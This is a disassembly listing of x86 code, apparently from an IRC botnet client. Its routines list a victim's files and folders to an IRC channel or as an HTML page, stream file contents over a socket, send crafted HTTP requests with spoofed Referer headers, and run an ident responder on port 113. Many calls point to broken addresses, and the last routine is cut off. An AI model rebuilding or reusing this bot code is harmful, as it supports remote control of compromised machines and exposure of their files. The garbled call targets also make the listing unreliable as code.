		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_41026D
		cmp	[ebp+arg_C], edi
		jz	short loc_410261
		lea	eax, [ebp+var_314]
		push	offset asc_434C78 ; "*"
		push	eax
		call	sub_41C8A0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_410AAE
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41C266
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_4102BC
; ---------------------------------------------------------------------------


loc_410261:				; CODE XREF: sub_4100B4+152j
		push	ebx


loc_410262:				; CODE XREF: sub_4100B4+126j
		call	dword_4CBA6C
		jmp	loc_410364
; ---------------------------------------------------------------------------


loc_41026D:				; CODE XREF: sub_4100B4+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730896h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4102BC
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41C266
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2770C45h
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2680000h


loc_4102BC:				; CODE XREF: sub_4100B4+1ABj
					; sub_4100B4+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_434C44
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43E914[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FF31
		push	edi
		push	edi
		nop
		call	near ptr 2690496h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_410336


loc_410324:				; CODE XREF: sub_4100B4+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_410364
		push	5
		call	near ptr 269040Ah
		nop
		jmp	short loc_410324
; ---------------------------------------------------------------------------


loc_410336:				; CODE XREF: sub_4100B4+26Ej
		push	ebx
		call	dword_4CBA6C
		nop
		call	near ptr 2690C56h
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_434C0C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410364:				; CODE XREF: sub_4100B4+1B4j
					; sub_4100B4+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_4100B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41036B	proc near		; CODE XREF: sub_401ACD+75E3p
					; sub_40FF31+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41BF70
		mov	edi, [ebp+arg_0]
		push	offset asc_42A080 ; "\n"
		push	edi
		call	sub_41CAD4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4103CA
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_4104C9
; ---------------------------------------------------------------------------


loc_4103CA:				; CODE XREF: sub_41036B+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4104AF
		call	sub_41B9C0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	edi
		call	sub_41B9C0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4104C9
; ---------------------------------------------------------------------------


loc_4104AF:				; CODE XREF: sub_41036B+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4104C9:				; CODE XREF: sub_41036B+5Aj
					; sub_41036B+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_C], ebx
		jz	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_410564
		push	[ebp+arg_C]
		call	sub_41B9C0
		sub	eax, 3
		pop	ecx
		jz	short loc_410515


loc_410509:				; CODE XREF: sub_41036B+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_410515
		dec	eax
		jnz	short loc_410509


loc_410515:				; CODE XREF: sub_41036B+19Cj
					; sub_41036B+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24


loc_410564:				; CODE XREF: sub_41036B+180j
					; sub_41036B+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 27A0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2790000h
		test	eax, eax
		jz	loc_410954
		mov	edi, 1FFh


loc_410590:				; CODE XREF: sub_41036B+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41093C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2780659h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2780000h
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_410605
		mov	ecx, offset aAm	; "AM"


loc_410605:				; CODE XREF: sub_41036B+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_410611
		sub	eax, 0Ch


loc_410611:				; CODE XREF: sub_41036B+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41C266
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4107B4
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410685
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_4108FD
; ---------------------------------------------------------------------------


loc_410685:				; CODE XREF: sub_41036B+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_41076F
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410725
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_41072A
; ---------------------------------------------------------------------------


loc_410725:				; CODE XREF: sub_41036B+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_41072A:				; CODE XREF: sub_41036B+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4108FE
; ---------------------------------------------------------------------------


loc_41076F:				; CODE XREF: sub_41036B+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107B4:				; CODE XREF: sub_41036B+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4107F3
		push	ebx
		push	[ebp+var_368]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi


loc_4107DF:				; CODE XREF: sub_41036B+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		jmp	loc_41090D
; ---------------------------------------------------------------------------


loc_4107F3:				; CODE XREF: sub_41036B+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_4108E7
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_429AC8
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41B9C0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_410893
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_410898
; ---------------------------------------------------------------------------


loc_410893:				; CODE XREF: sub_41036B+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_410898:				; CODE XREF: sub_41036B+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_4107DF
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: sub_41036B+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"


loc_4108FD:				; CODE XREF: sub_41036B+315j
		push	esi


loc_4108FE:				; CODE XREF: sub_41036B+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41C360
		add	esp, 18h


loc_41090D:				; CODE XREF: sub_41036B+444j
					; sub_41036B+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		cmp	[ebp+arg_8], ebx
		jz	short loc_41093C
		push	7D0h
		call	near ptr 269040Ah
		nop


loc_41093C:				; CODE XREF: sub_41036B+22Bj
					; sub_41036B+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2790000h
		test	eax, eax
		jnz	loc_410590


loc_410954:				; CODE XREF: sub_41036B+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 25E0000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_410997
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_41036B+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_4109B1
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_4109CB
; ---------------------------------------------------------------------------


loc_4109B1:				; CODE XREF: sub_41036B+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_4109CB:				; CODE XREF: sub_41036B+62Aj
					; sub_41036B+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CBA24
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_41036B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F1	proc near		; CODE XREF: sub_40FF31+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2730896h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410AA9
		push	esi
		push	ebx
		call	near ptr 2770C45h
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_410AA2


loc_410A36:				; CODE XREF: sub_4109F1+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_410A53
		mov	edi, [ebp+arg_4]


loc_410A53:				; CODE XREF: sub_4109F1+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410A9D
		call	dword_4CB968
		cmp	eax, 2733h
		jnz	short loc_410AA2
		xor	eax, eax


loc_410A9D:				; CODE XREF: sub_4109F1+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410A36


loc_410AA2:				; CODE XREF: sub_4109F1+43j
					; sub_4109F1+A8j
		push	ebx
		nop
		call	near ptr 2680000h


loc_410AA9:				; CODE XREF: sub_4109F1+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4109F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_410AAE	proc near		; CODE XREF: sub_4100B4+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_410AD7


loc_410AC1:				; CODE XREF: sub_410AAE+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_410ACB
		mov	byte ptr [esi+edi], 2Fh


loc_410ACB:				; CODE XREF: sub_410AAE+17j
		push	edi
		inc	esi
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_410AC1


loc_410AD7:				; CODE XREF: sub_410AAE+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_410AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410ADC	proc near		; CODE XREF: sub_401ACD+51B7p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CB944
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CB9D4
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40A8F0
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BB9
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410B55
		mov	eax, offset byte_43DB88


loc_410B55:				; CODE XREF: sub_410ADC+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		pop	esi


loc_410BB9:				; CODE XREF: sub_410ADC+6Bj
		push	ebx
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410BF9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_410BF9:				; CODE XREF: sub_410ADC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_410ADC	endp

; ---------------------------------------------------------------------------


loc_410BFD:				; DATA XREF: ___:00401666o
					; sub_401ACD+438Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410D61
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E91C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		push	5
		push	ebx
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410D61
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410C88:				; CODE XREF: ___:00410CE7j
					; ___:00410D4Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_410D5C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435164
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410C88
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_4184CC
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BF70
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C88
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C88
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: ___:00410C9Dj
		cmp	[ebp-8], esi
		jnz	short loc_410D88


loc_410D61:				; CODE XREF: ___:00410C44j
					; ___:00410C68j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_435120
		push	eax
		call	sub_41C266
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_410D88:				; CODE XREF: ___:00410D5Fj
		push	ebx
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410DAB:				; DATA XREF: sub_401ACD+605Do
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410F17
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E91C[ecx], eax
		call	dword_4CB8E4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA00
		test	eax, eax
		jnz	loc_410F17
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB9FC
		test	eax, eax
		jnz	loc_410F17


loc_410E5B:				; CODE XREF: ___:00410E71j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA68
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
